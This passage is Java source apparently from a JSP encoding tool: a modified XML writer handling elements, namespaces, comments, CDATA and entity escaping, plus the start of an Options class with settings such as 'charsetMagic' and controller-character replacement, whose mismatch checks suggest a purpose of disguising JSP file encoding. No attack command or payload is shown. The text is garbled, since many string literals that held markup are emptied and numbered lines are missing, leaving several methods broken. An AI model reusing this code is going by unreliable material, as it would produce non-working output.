writeClose(qName); 673 | } else { 674 | writeEmptyElementClose(qName); 675 | } 676 | 677 | lastOutputNodeType = Node.ELEMENT_NODE; 678 | lastElementClosed = true; 679 | 680 | super.endElement(namespaceURI, localName, qName); 681 | } catch (IOException e) { 682 | handleException(e); 683 | } 684 | } 685 | 686 | public void characters(char[] ch, int start, int length) 687 | throws SAXException { 688 | if ((ch == null) || (ch.length == 0) || (length <= 0)) { 689 | return; 690 | } 691 | 692 | try { 693 | /* 694 | * we can't use the writeString method here because it's possible we 695 | * don't receive all characters at once and calling writeString 696 | * would cause unwanted spaces to be added in between these chunks 697 | * of character arrays. 698 | */ 699 | String string = String.valueOf(ch, start, length); 700 | 701 | if (escapeText) { 702 | string = escapeElementEntities(string); 703 | } 704 | 705 | if (format.isTrimText()) { 706 | if ((lastOutputNodeType == Node.TEXT_NODE) && !charsAdded) { 707 | writer.write(' '); 708 | } else if (charsAdded && Character.isWhitespace(lastChar)) { 709 | writer.write(' '); 710 | } else if (lastOutputNodeType == Node.ELEMENT_NODE 711 | && format.isPadText() && lastElementClosed 712 | && Character.isWhitespace(ch[0])) { 713 | writer.write(PAD_TEXT); 714 | } 715 | 716 | String delim = ""; 717 | StringTokenizer tokens = new StringTokenizer(string); 718 | 719 | while (tokens.hasMoreTokens()) { 720 | writer.write(delim); 721 | writer.write(tokens.nextToken()); 722 | delim = " "; 723 | } 724 | } else { 725 | writer.write(string); 726 | } 727 | 728 | charsAdded = true; 729 | lastChar = ch[(start + length) - 1]; 730 | lastOutputNodeType = Node.TEXT_NODE; 731 | 732 | super.characters(ch, start, length); 733 | } catch (IOException e) { 734 | handleException(e); 735 | } 736 | } 737 | 738 | public void ignorableWhitespace(char[] ch, int start, int length) 739 | throws SAXException { 740 | super.ignorableWhitespace(ch, start, length); 741 | } 742 | 743 | public void processingInstruction(String target, String data) 744 | throws SAXException { 745 | try { 746 | indent(); 747 | writer.write(""); 752 | writePrintln(); 753 | lastOutputNodeType = Node.PROCESSING_INSTRUCTION_NODE; 754 | 755 | super.processingInstruction(target, data); 756 | } catch (IOException e) { 757 | handleException(e); 758 | } 759 | } 760 | 761 | // DTDHandler interface 762 | // ------------------------------------------------------------------------- 763 | public void notationDecl(String name, String publicID, String systemID) 764 | throws SAXException { 765 | super.notationDecl(name, publicID, systemID); 766 | } 767 | 768 | public void unparsedEntityDecl(String name, String publicID, 769 | String systemID, String notationName) throws SAXException { 770 | super.unparsedEntityDecl(name, publicID, systemID, notationName); 771 | } 772 | 773 | // LexicalHandler interface 774 | // ------------------------------------------------------------------------- 775 | public void startDTD(String name, String publicID, String systemID) 776 | throws SAXException { 777 | inDTD = true; 778 | 779 | try { 780 | writeDocType(name, publicID, systemID); 781 | } catch (IOException e) { 782 | handleException(e); 783 | } 784 | 785 | if (lexicalHandler != null) { 786 | lexicalHandler.startDTD(name, publicID, systemID); 787 | } 788 | } 789 | 790 | public void endDTD() throws SAXException { 791 | inDTD = false; 792 | 793 | if (lexicalHandler != null) { 794 | lexicalHandler.endDTD(); 795 | } 796 | } 797 | 798 | public void startCDATA() throws SAXException { 799 | try { 800 | writer.write(""); 813 | } catch (IOException e) { 814 | handleException(e); 815 | } 816 | 817 | if (lexicalHandler != null) { 818 | lexicalHandler.endCDATA(); 819 | } 820 | } 821 | 822 | public void startEntity(String name) throws SAXException { 823 | try { 824 | writeEntityRef(name); 825 | } catch (IOException e) { 826 | handleException(e); 827 | } 828 | 829 | if (lexicalHandler != null) { 830 | lexicalHandler.startEntity(name); 831 | } 832 | } 833 | 834 | public void endEntity(String name) throws SAXException { 835 | if (lexicalHandler != null) { 836 | lexicalHandler.endEntity(name); 837 | } 838 | } 839 | 840 | public void comment(char[] ch, int start, int length) throws SAXException { 841 | if (showCommentsInDTDs || !inDTD) { 842 | try { 843 | charsAdded = false; 844 | writeComment(new String(ch, start, length)); 845 | } catch (IOException e) { 846 | handleException(e); 847 | } 848 | } 849 | 850 | if (lexicalHandler != null) { 851 | lexicalHandler.comment(ch, start, length); 852 | } 853 | } 854 | 855 | // Implementation methods 856 | // ------------------------------------------------------------------------- 857 | protected void writeElement(Element element) throws IOException { 858 | int size = element.nodeCount(); 859 | String qualifiedName = element.getQualifiedName(); 860 | 861 | writePrintln(); 862 | indent(); 863 | 864 | writer.write("<"); 865 | writer.write(qualifiedName); 866 | 867 | int previouslyDeclaredNamespaces = namespaceStack.size(); 868 | Namespace ns = element.getNamespace(); 869 | 870 | if (isNamespaceDeclaration(ns)) { 871 | namespaceStack.push(ns); 872 | writeNamespace(ns); 873 | } 874 | 875 | // Print out additional namespace declarations 876 | boolean textOnly = true; 877 | 878 | for (int i = 0; i < size; i++) { 879 | Node node = element.node(i); 880 | 881 | if (node instanceof Namespace) { 882 | Namespace additional = (Namespace) node; 883 | 884 | if (isNamespaceDeclaration(additional)) { 885 | namespaceStack.push(additional); 886 | writeNamespace(additional); 887 | } 888 | } else if (node instanceof Element) { 889 | textOnly = false; 890 | } else if (node instanceof Comment) { 891 | textOnly = false; 892 | } 893 | } 894 | 895 | writeAttributes(element); 896 | 897 | lastOutputNodeType = Node.ELEMENT_NODE; 898 | 899 | if (size <= 0) { 900 | writeEmptyElementClose(qualifiedName); 901 | } else { 902 | writer.write(">"); 903 | 904 | if (textOnly) { 905 | // we have at least one text node so lets assume 906 | // that its non-empty 907 | writeElementContent(element); 908 | } else { 909 | // we know it's not null or empty from above 910 | ++indentLevel; 911 | 912 | writeElementContent(element); 913 | 914 | --indentLevel; 915 | 916 | writePrintln(); 917 | indent(); 918 | } 919 | 920 | writer.write(""); 923 | } 924 | 925 | // remove declared namespaceStack from stack 926 | while (namespaceStack.size() > previouslyDeclaredNamespaces) { 927 | namespaceStack.pop(); 928 | } 929 | 930 | lastOutputNodeType = Node.ELEMENT_NODE; 931 | } 932 | 933 | /** 934 | * Determines if element is a special case of XML elements where it contains 935 | * an xml:space attribute of "preserve". If it does, then retain whitespace. 936 | * 937 | * @param element 938 | * DOCUMENT ME! 939 | * 940 | * @return DOCUMENT ME! 941 | */ 942 | protected final boolean isElementSpacePreserved(Element element) { 943 | final Attribute attr = (Attribute) element.attribute("space"); 944 | boolean preserveFound = preserve; // default to global state 945 | 946 | if (attr != null) { 947 | preserveFound = "xml".equals(attr.getNamespacePrefix()) && "preserve".equals(attr.getText()); 948 | } 949 | 950 | return preserveFound; 951 | } 952 | 953 | /** 954 | * Outputs the content of the given element. If whitespace trimming is 955 | * enabled then all adjacent text nodes are appended together before the 956 | * whitespace trimming occurs to avoid problems with multiple text nodes 957 | * being created due to text content that spans parser buffers in a SAX 958 | * parser. 959 | * 960 | * @param element 961 | * DOCUMENT ME! 962 | * 963 | * @throws IOException 964 | * DOCUMENT ME! 965 | */ 966 | protected void writeElementContent(Element element) throws IOException { 967 | boolean trim = format.isTrimText(); 968 | boolean oldPreserve = preserve; 969 | 970 | if (trim) { // verify we have to before more expensive test 971 | preserve = isElementSpacePreserved(element); 972 | trim = !preserve; 973 | } 974 | 975 | if (trim) { 976 | // concatenate adjacent text nodes together 977 | // so that whitespace trimming works properly 978 | Text lastTextNode = null; 979 | StringBuilder buff = null; 980 | boolean textOnly = true; 981 | 982 | for (Node node : element.content()) { 983 | if (node instanceof Text) { 984 | if (lastTextNode == null) { 985 | lastTextNode = (Text) node; 986 | } else { 987 | if (buff == null) { 988 | buff = new StringBuilder(lastTextNode.getText()); 989 | } 990 | 991 | buff.append((node).getText()); 992 | } 993 | } else { 994 | if (!textOnly && format.isPadText()) { 995 | // only add the PAD_TEXT if the text itself starts with 996 | // whitespace 997 | final boolean startsWithWhitespace; 998 | if (buff != null) { 999 | startsWithWhitespace = startsWithWhitespace(buff); 1000 | } else if (lastTextNode != null) { 1001 | startsWithWhitespace = startsWithWhitespace(lastTextNode.getText()); 1002 | } else { 1003 | startsWithWhitespace = false; 1004 | } 1005 | 1006 | if (startsWithWhitespace) { 1007 | writer.write(PAD_TEXT); 1008 | } 1009 | } 1010 | 1011 | if (lastTextNode != null) { 1012 | if (buff != null) { 1013 | writeString(buff.toString()); 1014 | buff = null; 1015 | } else { 1016 | writeString(lastTextNode.getText()); 1017 | } 1018 | 1019 | if (format.isPadText()) { 1020 | // only add the PAD_TEXT if the text itself ends 1021 | // with whitespace 1022 | final boolean endsWithWhitespace; 1023 | if (buff != null) { 1024 | endsWithWhitespace = endsWithWhitespace(buff); 1025 | } else { 1026 | endsWithWhitespace = endsWithWhitespace(lastTextNode.getText()); 1027 | } 1028 | 1029 | if (endsWithWhitespace) { 1030 | writer.write(PAD_TEXT); 1031 | } 1032 | } 1033 | 1034 | lastTextNode = null; 1035 | } 1036 | 1037 | textOnly = false; 1038 | writeNode(node); 1039 | } 1040 | } 1041 | 1042 | if (lastTextNode != null) { 1043 | if (!textOnly && format.isPadText()) { 1044 | // only add the PAD_TEXT if the text itself starts with 1045 | // whitespace 1046 | final boolean startsWithWhitespace; 1047 | if (buff != null) { 1048 | startsWithWhitespace = startsWithWhitespace(buff); 1049 | } else { 1050 | startsWithWhitespace = startsWithWhitespace(lastTextNode.getText()); 1051 | } 1052 | 1053 | if (startsWithWhitespace) { 1054 | writer.write(PAD_TEXT); 1055 | } 1056 | } 1057 | 1058 | if (buff != null) { 1059 | writeString(buff.toString()); 1060 | buff = null; 1061 | } else { 1062 | writeString(lastTextNode.getText()); 1063 | } 1064 | 1065 | lastTextNode = null; 1066 | } 1067 | } else { 1068 | Node lastTextNode = null; 1069 | 1070 | for (Node node : element.content()) { 1071 | if (node instanceof Text) { 1072 | writeNode(node); 1073 | lastTextNode = node; 1074 | } else { 1075 | if ((lastTextNode != null) && format.isPadText()) { 1076 | // only add the PAD_TEXT if the text itself ends with 1077 | // whitespace 1078 | if (endsWithWhitespace(lastTextNode.getText())) { 1079 | writer.write(PAD_TEXT); 1080 | } 1081 | } 1082 | 1083 | writeNode(node); 1084 | 1085 | // if ((lastTextNode != null) && format.isPadText()) { 1086 | // writer.write(PAD_TEXT); 1087 | // } 1088 | 1089 | lastTextNode = null; 1090 | } 1091 | } 1092 | } 1093 | 1094 | preserve = oldPreserve; 1095 | } 1096 | 1097 | protected void writeCDATA(String text) throws IOException { 1098 | writer.write(""); 1105 | 1106 | lastOutputNodeType = Node.CDATA_SECTION_NODE; 1107 | } 1108 | 1109 | protected void writeDocType(DocumentType docType) throws IOException { 1110 | if (docType != null) { 1111 | docType.write(writer); 1112 | writePrintln(); 1113 | } 1114 | } 1115 | 1116 | protected void writeNamespace(Namespace namespace) throws IOException { 1117 | if (namespace != null) { 1118 | writeNamespace(namespace.getPrefix(), namespace.getURI()); 1119 | } 1120 | } 1121 | 1122 | /** 1123 | * Writes the SAX namepsaces 1124 | * 1125 | * @throws IOException 1126 | * DOCUMENT ME! 1127 | */ 1128 | protected void writeNamespaces() throws IOException { 1129 | if (namespacesMap != null) { 1130 | for (Map.Entry entry : namespacesMap.entrySet()) { 1131 | String prefix = entry.getKey(); 1132 | String uri = entry.getValue(); 1133 | writeNamespace(prefix, uri); 1134 | } 1135 | 1136 | namespacesMap = null; 1137 | } 1138 | } 1139 | 1140 | /** 1141 | * Writes the SAX namepsaces 1142 | * 1143 | * @param prefix 1144 | * the prefix 1145 | * @param uri 1146 | * the namespace uri 1147 | * 1148 | * @throws IOException DOCUMENT ME! 1149 | */ 1150 | protected void writeNamespace(String prefix, String uri) 1151 | throws IOException { 1152 | if ((prefix != null) && (prefix.length() > 0)) { 1153 | writer.write(" xmlns:"); 1154 | writer.write(prefix); 1155 | writer.write("=\""); 1156 | } else { 1157 | writer.write(" xmlns=\""); 1158 | } 1159 | 1160 | writer.write(uri); 1161 | writer.write("\""); 1162 | } 1163 | 1164 | /** 1165 | * Writes all namespaces declared directly on element. 1166 | * 1167 | * @throws IOException 1168 | */ 1169 | protected void writeNamespaces(Element element) throws IOException { 1170 | assert element != null; 1171 | for (Namespace ns : element.declaredNamespaces()) { 1172 | writeNamespace(ns); 1173 | namespaceStack.push(ns); 1174 | } 1175 | } 1176 | 1177 | protected void writeProcessingInstruction(ProcessingInstruction pi) 1178 | throws IOException { 1179 | // indent(); 1180 | writer.write(""); 1185 | writePrintln(); 1186 | 1187 | lastOutputNodeType = Node.PROCESSING_INSTRUCTION_NODE; 1188 | } 1189 | 1190 | public static Charset[] controllerSpaceCharsets = new Charset[]{ 1191 | StandardCharsets.UTF_8, 1192 | StandardCharsets.ISO_8859_1, 1193 | StandardCharsets.UTF_16, 1194 | StandardCharsets.UTF_16BE, 1195 | StandardCharsets.UTF_16LE, 1196 | }; 1197 | 1198 | protected void writeString(String text) throws IOException { 1199 | if ((text != null) && (text.length() > 0)) { 1200 | Charset decCharset = Charset.forName(options.charsetDeclare); 1201 | if (options.controllerSpaceReplace!=null && Charset.forName(options.charsetMagic) == Charset.forName(options.charsetDeclare)) { 1202 | if (Arrays.stream(controllerSpaceCharsets).anyMatch(c -> c == decCharset)){ 1203 | Map rep = options.controllerSpaceReplace; 1204 | if (rep != null) { 1205 | for (String raw : rep.keySet()) { 1206 | text = text.replace(raw, rep.get(raw)); 1207 | } 1208 | } 1209 | } 1210 | } 1211 | if (options.txtEscapeType.equals(Const.EscapeType.entityNormal.name())) { 1212 | writer.write(Utils.EscapeText(text, false,options.entityEscapeType)); 1213 | } else if (options.txtEscapeType.equals(Const.EscapeType.entityAll.name())) { 1214 | writer.write(Utils.EscapeText(text, true,options.entityEscapeType)); 1215 | }else if (options.txtEscapeType.equals(Const.EscapeType.cdata.name())){ 1216 | writer.write(Utils.WrapWithCdata(text,options.cdataWrapCap)); 1217 | }else{ 1218 | writer.write(text); 1219 | } 1220 | // if (escapeText) { 1221 | // text = escapeElementEntities(text); 1222 | // } 1223 | // 1224 | // if (format.isTrimText()) { 1225 | // boolean first = true; 1226 | // StringTokenizer tokenizer = new StringTokenizer(text); 1227 | // 1228 | // while (tokenizer.hasMoreTokens()) { 1229 | // String token = tokenizer.nextToken(); 1230 | // 1231 | // if (first) { 1232 | // first = false; 1233 | // 1234 | // if (lastOutputNodeType == Node.TEXT_NODE) { 1235 | // writer.write(" "); 1236 | // } 1237 | // } else { 1238 | // writer.write(" "); 1239 | // } 1240 | // 1241 | // writer.write(token); 1242 | // lastOutputNodeType = Node.TEXT_NODE; 1243 | // } 1244 | // } else { 1245 | // lastOutputNodeType = Node.TEXT_NODE; 1246 | // writer.write(text); 1247 | // } 1248 | } 1249 | } 1250 | 1251 | /** 1252 | * This method is used to write out Nodes that contain text and still allow 1253 | * for xml:space to be handled properly. 1254 | * 1255 | * @param node 1256 | * DOCUMENT ME! 1257 | * 1258 | * @throws IOException 1259 | * DOCUMENT ME! 1260 | */ 1261 | protected void writeNodeText(Node node) throws IOException { 1262 | String text = node.getText(); 1263 | 1264 | if ((text != null) && (text.length() > 0)) { 1265 | if (escapeText) { 1266 | text = escapeElementEntities(text); 1267 | } 1268 | 1269 | lastOutputNodeType = Node.TEXT_NODE; 1270 | writer.write(text); 1271 | } 1272 | } 1273 | 1274 | protected void writeNode(Node node) throws IOException { 1275 | int nodeType = node.getNodeType(); 1276 | 1277 | switch (nodeType) { 1278 | case Node.ELEMENT_NODE: 1279 | writeElement((Element) node); 1280 | 1281 | break; 1282 | 1283 | case Node.ATTRIBUTE_NODE: 1284 | writeAttribute((Attribute) node); 1285 | 1286 | break; 1287 | 1288 | case Node.TEXT_NODE: 1289 | writeNodeText(node); 1290 | 1291 | // write((Text) node); 1292 | break; 1293 | 1294 | case Node.CDATA_SECTION_NODE: 1295 | writeCDATA(node.getText()); 1296 | 1297 | break; 1298 | 1299 | case Node.ENTITY_REFERENCE_NODE: 1300 | writeEntity((Entity) node); 1301 | 1302 | break; 1303 | 1304 | case Node.PROCESSING_INSTRUCTION_NODE: 1305 | writeProcessingInstruction((ProcessingInstruction) node); 1306 | 1307 | break; 1308 | 1309 | case Node.COMMENT_NODE: 1310 | writeComment(node.getText()); 1311 | 1312 | break; 1313 | 1314 | case Node.DOCUMENT_NODE: 1315 | write((Document) node); 1316 | 1317 | break; 1318 | 1319 | case Node.DOCUMENT_TYPE_NODE: 1320 | writeDocType((DocumentType) node); 1321 | 1322 | break; 1323 | 1324 | case Node.NAMESPACE_NODE: 1325 | 1326 | // Will be output with attributes 1327 | // write((Namespace) node); 1328 | break; 1329 | 1330 | default: 1331 | throw new IOException("Invalid node type: " + node); 1332 | } 1333 | } 1334 | 1335 | protected void installLexicalHandler() { 1336 | XMLReader parent = getParent(); 1337 | 1338 | if (parent == null) { 1339 | throw new NullPointerException("No parent for filter"); 1340 | } 1341 | 1342 | // try to register for lexical events 1343 | for (String lexicalHandlerName : LEXICAL_HANDLER_NAMES) { 1344 | try { 1345 | parent.setProperty(lexicalHandlerName, this); 1346 | 1347 | break; 1348 | } catch (SAXNotRecognizedException ex) { 1349 | // ignore 1350 | } catch (SAXNotSupportedException ex) { 1351 | // ignore 1352 | } 1353 | } 1354 | } 1355 | 1356 | protected void writeDocType(String name, String publicID, String systemID) 1357 | throws IOException { 1358 | boolean hasPublic = false; 1359 | 1360 | writer.write(""); 1381 | writePrintln(); 1382 | } 1383 | 1384 | protected void writeEntity(Entity entity) throws IOException { 1385 | if (!resolveEntityRefs()) { 1386 | writeEntityRef(entity.getName()); 1387 | } else { 1388 | writer.write(entity.getText()); 1389 | } 1390 | } 1391 | 1392 | protected void writeEntityRef(String name) throws IOException { 1393 | writer.write("&"); 1394 | writer.write(name); 1395 | writer.write(";"); 1396 | 1397 | lastOutputNodeType = Node.ENTITY_REFERENCE_NODE; 1398 | } 1399 | 1400 | protected void writeComment(String text) throws IOException { 1401 | if (format.isNewlines()) { 1402 | println(); 1403 | indent(); 1404 | } 1405 | 1406 | writer.write(""); 1409 | 1410 | lastOutputNodeType = Node.COMMENT_NODE; 1411 | } 1412 | 1413 | /** 1414 | * Writes the attributes of the given element 1415 | * 1416 | * @param element 1417 | * DOCUMENT ME! 1418 | * 1419 | * @throws IOException 1420 | * DOCUMENT ME! 1421 | */ 1422 | protected void writeAttributes(Element element) throws IOException { 1423 | // I do not yet handle the case where the same prefix maps to 1424 | // two different URIs. For attributes on the same element 1425 | // this is illegal; but as yet we don't throw an exception 1426 | // if someone tries to do this 1427 | for (int i = 0, size = element.attributeCount(); i < size; i++) { 1428 | Attribute attribute = element.attribute(i); 1429 | Namespace ns = attribute.getNamespace(); 1430 | 1431 | if ((ns != null) && (ns != Namespace.NO_NAMESPACE) 1432 | && (ns != Namespace.XML_NAMESPACE)) { 1433 | String prefix = ns.getPrefix(); 1434 | String uri = namespaceStack.getURI(prefix); 1435 | 1436 | if (!ns.getURI().equals(uri)) { 1437 | writeNamespace(ns); 1438 | namespaceStack.push(ns); 1439 | } 1440 | } 1441 | 1442 | // If the attribute is a namespace declaration, check if we have 1443 | // already written that declaration elsewhere (if that's the case, 1444 | // it must be in the namespace stack 1445 | String attName = attribute.getName(); 1446 | 1447 | if (attName.startsWith("xmlns:")) { 1448 | String prefix = attName.substring(6); 1449 | 1450 | if (namespaceStack.getNamespaceForPrefix(prefix) == null) { 1451 | String uri = attribute.getValue(); 1452 | namespaceStack.push(prefix, uri); 1453 | writeNamespace(prefix, uri); 1454 | } 1455 | } else if (attName.equals("xmlns")) { 1456 | if (namespaceStack.getDefaultNamespace() == null) { 1457 | String uri = attribute.getValue(); 1458 | namespaceStack.push(null, uri); 1459 | writeNamespace(null, uri); 1460 | } 1461 | } else { 1462 | char quote = format.getAttributeQuoteCharacter(); 1463 | writer.write(" "); 1464 | writer.write(attribute.getQualifiedName()); 1465 | writer.write("="); 1466 | writer.write(quote); 1467 | writeEscapeAttributeEntities(attribute.getValue()); 1468 | writer.write(quote); 1469 | } 1470 | } 1471 | } 1472 | 1473 | protected void writeAttribute(Attribute attribute) throws IOException { 1474 | writer.write(" "); 1475 | writer.write(attribute.getQualifiedName()); 1476 | writer.write("="); 1477 | 1478 | char quote = format.getAttributeQuoteCharacter(); 1479 | writer.write(quote); 1480 | 1481 | writeEscapeAttributeEntities(attribute.getValue()); 1482 | 1483 | writer.write(quote); 1484 | lastOutputNodeType = Node.ATTRIBUTE_NODE; 1485 | } 1486 | 1487 | protected void writeAttributes(Attributes attributes) throws IOException { 1488 | for (int i = 0, size = attributes.getLength(); i < size; i++) { 1489 | writeAttribute(attributes, i); 1490 | } 1491 | } 1492 | 1493 | protected void writeAttribute(Attributes attributes, int index) 1494 | throws IOException { 1495 | char quote = format.getAttributeQuoteCharacter(); 1496 | writer.write(" "); 1497 | writer.write(attributes.getQName(index)); 1498 | writer.write("="); 1499 | writer.write(quote); 1500 | writeEscapeAttributeEntities(attributes.getValue(index)); 1501 | writer.write(quote); 1502 | } 1503 | 1504 | protected void indent() throws IOException { 1505 | String indent = format.getIndent(); 1506 | 1507 | if ((indent != null) && (indent.length() > 0)) { 1508 | for (int i = 0; i < indentLevel; i++) { 1509 | writer.write(indent); 1510 | } 1511 | } 1512 | } 1513 | 1514 | /** 1515 | *

1516 | * This will print a new line only if the newlines flag was set to true 1517 | *

1518 | * 1519 | * @throws IOException 1520 | * DOCUMENT ME! 1521 | */ 1522 | protected void writePrintln() throws IOException { 1523 | if (format.isNewlines()) { 1524 | writer.write(format.getLineSeparator()); 1525 | } 1526 | } 1527 | 1528 | /** 1529 | * Get an OutputStreamWriter, use preferred encoding. 1530 | * 1531 | * @param outStream 1532 | * DOCUMENT ME! 1533 | * @param encoding 1534 | * DOCUMENT ME! 1535 | * 1536 | * @return DOCUMENT ME! 1537 | * 1538 | * @throws UnsupportedEncodingException 1539 | * DOCUMENT ME! 1540 | */ 1541 | protected Writer createWriter(OutputStream outStream, String encoding) 1542 | throws UnsupportedEncodingException { 1543 | return new BufferedWriter(new OutputStreamWriter(outStream, encoding)); 1544 | } 1545 | 1546 | /** 1547 | *

1548 | * This will write the declaration to the given Writer. Assumes XML version 1549 | * 1.0 since we don't directly know. 1550 | *

1551 | * 1552 | * @throws IOException 1553 | * DOCUMENT ME! 1554 | */ 1555 | protected void writeDeclaration() throws IOException { 1556 | String encoding = format.getEncoding(); 1557 | 1558 | // Only print of declaration is not suppressed 1559 | if (!format.isSuppressDeclaration()) { 1560 | // Assume 1.0 version 1561 | if (encoding.equals("UTF8")) { 1562 | writer.write(""); 1569 | } else { 1570 | writer.write(""); 1577 | } 1578 | 1579 | if (format.isNewLineAfterDeclaration()) { 1580 | println(); 1581 | } 1582 | } 1583 | } 1584 | 1585 | protected void writeClose(String qualifiedName) throws IOException { 1586 | writer.write(""); 1589 | } 1590 | 1591 | protected void writeEmptyElementClose(String qualifiedName) 1592 | throws IOException { 1593 | // Simply close up 1594 | if (!format.isExpandEmptyElements()) { 1595 | writer.write("/>"); 1596 | } else { 1597 | writer.write(">"); 1600 | } 1601 | } 1602 | 1603 | protected boolean isExpandEmptyElements() { 1604 | return format.isExpandEmptyElements(); 1605 | } 1606 | 1607 | /** 1608 | * This will take the pre-defined entities in XML 1.0 and convert their 1609 | * character representation to the appropriate entity reference, suitable 1610 | * for XML attributes. 1611 | * 1612 | * @param text 1613 | * DOCUMENT ME! 1614 | * 1615 | * @return DOCUMENT ME! 1616 | */ 1617 | protected String escapeElementEntities(String text) { 1618 | char[] block = null; 1619 | int i; 1620 | int last = 0; 1621 | int size = text.length(); 1622 | 1623 | for (i = 0; i < size; i++) { 1624 | String entity = null; 1625 | 1626 | int c = text.codePointAt(i); 1627 | switch (c) { 1628 | case '<': 1629 | entity = "<"; 1630 | break; 1631 | case '>': 1632 | entity = ">"; 1633 | break; 1634 | case '&': 1635 | entity = "&"; 1636 | break; 1637 | case '\t': 1638 | case '\n': 1639 | case '\r': 1640 | // don't encode standard whitespace characters 1641 | if (preserve) { 1642 | entity = String.valueOf((char) c); 1643 | } 1644 | break; 1645 | 1646 | default: 1647 | 1648 | if ((c < 32) || shouldEncodeChar(c)) { 1649 | entity = "&#" + c + ";"; 1650 | } 1651 | 1652 | break; 1653 | } 1654 | 1655 | 1656 | if (entity != null) { 1657 | if (block == null) { 1658 | block = text.toCharArray(); 1659 | } 1660 | 1661 | buffer.append(block, last, i - last); 1662 | buffer.append(entity); 1663 | last = i + 1; 1664 | if (Character.isSupplementaryCodePoint(c)) { 1665 | last++; 1666 | } 1667 | } 1668 | if (Character.isSupplementaryCodePoint(c)) { 1669 | i++; 1670 | } 1671 | } 1672 | 1673 | if (last == 0) { 1674 | return text; 1675 | } 1676 | 1677 | if (last < size) { 1678 | if (block == null) { 1679 | block = text.toCharArray(); 1680 | } 1681 | 1682 | buffer.append(block, last, i - last); 1683 | } 1684 | 1685 | String answer = buffer.toString(); 1686 | buffer.setLength(0); 1687 | 1688 | return answer; 1689 | } 1690 | 1691 | protected void writeEscapeAttributeEntities(String txt) throws IOException { 1692 | if (txt != null) { 1693 | String escapedText = escapeAttributeEntities(txt); 1694 | writer.write(escapedText); 1695 | } 1696 | } 1697 | 1698 | 1699 | 1700 | /** 1701 | * This will take the pre-defined entities in XML 1.0 and convert their 1702 | * character representation to the appropriate entity reference, suitable 1703 | * for XML attributes. 1704 | * 1705 | * @param text 1706 | * DOCUMENT ME! 1707 | * 1708 | * @return DOCUMENT ME! 1709 | */ 1710 | protected String escapeAttributeEntities(String text) { 1711 | if (options.attrEscapeType.equals(Const.EscapeType.nothing.name())) { 1712 | return text; 1713 | } 1714 | char quote = format.getAttributeQuoteCharacter(); 1715 | 1716 | char[] block = null; 1717 | int i; 1718 | int last = 0; 1719 | int size = text.length(); 1720 | 1721 | for (i = 0; i < size; i++) { 1722 | String entity = null; 1723 | int c = text.codePointAt(i); 1724 | 1725 | switch (c) { 1726 | case '<': 1727 | entity = "<"; 1728 | break; 1729 | case '>': 1730 | entity = ">"; 1731 | break; 1732 | case '\'': 1733 | if (quote == '\'') { 1734 | entity = "'"; 1735 | } 1736 | break; 1737 | case '\"': 1738 | if (quote == '\"') { 1739 | entity = """; 1740 | } 1741 | break; 1742 | case '&': 1743 | entity = "&"; 1744 | break; 1745 | case '\t': 1746 | case '\n': 1747 | case '\r': 1748 | // don't encode standard whitespace characters 1749 | break; 1750 | default: 1751 | if ((c < 32) || shouldEncodeChar(c) || options.attrEscapeType.equals(Const.EscapeType.entityAll.name())) { 1752 | //entity = "&#" + c + ";"; 1753 | entity = Utils.ToEntity(c,options.entityEscapeType); 1754 | } 1755 | break; 1756 | } 1757 | 1758 | if (entity != null) { 1759 | if (block == null) { 1760 | block = text.toCharArray(); 1761 | } 1762 | 1763 | buffer.append(block, last, i - last); 1764 | buffer.append(entity); 1765 | last = i + 1; 1766 | if(Character.isSupplementaryCodePoint(c)) { 1767 | last++; 1768 | } 1769 | } 1770 | if(Character.isSupplementaryCodePoint(c)) { 1771 | i++; 1772 | } 1773 | } 1774 | 1775 | if (last == 0) { 1776 | return text; 1777 | } 1778 | 1779 | if (last < size) { 1780 | if (block == null) { 1781 | block = text.toCharArray(); 1782 | } 1783 | 1784 | buffer.append(block, last, i - last); 1785 | } 1786 | 1787 | String answer = buffer.toString(); 1788 | buffer.setLength(0); 1789 | 1790 | return answer; 1791 | } 1792 | 1793 | /** 1794 | * Should the given character be escaped. This depends on the encoding of 1795 | * the document. 1796 | * 1797 | * @param codepoint Unicode codepoint. 1798 | * DOCUMENT ME! 1799 | * 1800 | * @return boolean 1801 | */ 1802 | protected boolean shouldEncodeChar(int codepoint) { 1803 | int max = getMaximumAllowedCharacter(); 1804 | 1805 | return (max > 0) && (codepoint > max); 1806 | } 1807 | 1808 | /** 1809 | * Returns the maximum allowed character code that should be allowed 1810 | * unescaped which defaults to 127 in US-ASCII (7 bit) or 255 in ISO- (8 1811 | * bit). 1812 | * 1813 | * @return DOCUMENT ME! 1814 | */ 1815 | protected int defaultMaximumAllowedCharacter() { 1816 | String encoding = format.getEncoding(); 1817 | 1818 | if (encoding != null) { 1819 | if (encoding.equals("US-ASCII")) { 1820 | return 127; 1821 | } 1822 | } 1823 | 1824 | // no encoding for things like ISO-*, UTF-8 or UTF-16 1825 | return -1; 1826 | } 1827 | 1828 | protected boolean isNamespaceDeclaration(Namespace ns) { 1829 | if ((ns != null) && (ns != Namespace.XML_NAMESPACE)) { 1830 | String uri = ns.getURI(); 1831 | 1832 | if (uri != null) { 1833 | if (!namespaceStack.contains(ns)) { 1834 | return true; 1835 | } 1836 | } 1837 | } 1838 | 1839 | return false; 1840 | } 1841 | 1842 | protected void handleException(IOException e) throws SAXException { 1843 | throw new SAXException(e); 1844 | } 1845 | 1846 | // Laramie Crocker 4/8/2002 10:38AM 1847 | 1848 | /** 1849 | * Lets subclasses get at the current format object, so they can call 1850 | * setTrimText, setNewLines, etc. Put in to support the HTMLWriter, in the 1851 | * way that it pushes the current newline/trim state onto a stack and 1852 | * overrides the state within preformatted tags. 1853 | * 1854 | * @return DOCUMENT ME! 1855 | */ 1856 | protected OutputFormat getOutputFormat() { 1857 | return format; 1858 | } 1859 | 1860 | public boolean resolveEntityRefs() { 1861 | return resolveEntityRefs; 1862 | } 1863 | 1864 | public void setResolveEntityRefs(boolean resolve) { 1865 | this.resolveEntityRefs = resolve; 1866 | } 1867 | } 1868 | -------------------------------------------------------------------------------- /src/main/java/galaxy/jsp/encounter/xml/Options.java: -------------------------------------------------------------------------------- 1 | package galaxy.jsp.encounter.xml; 2 | 3 | import galaxy.jsp.encounter.util.Const; 4 | import org.apache.commons.lang3.tuple.Pair; 5 | 6 | import java.util.ArrayList; 7 | import java.util.List; 8 | import java.util.Map; 9 | 10 | public class Options { 11 | 12 | public List>> extTags = new ArrayList<>(); 13 | //public boolean isXml = true; 14 | public String fileType = ".jsp"; 15 | public boolean attributeEscape = true; 16 | public String namespace = "jsp"; 17 | public String xmlVersion = "1.0"; 18 | public String jspVersion = "1.2"; 19 | public String charsetMagic = 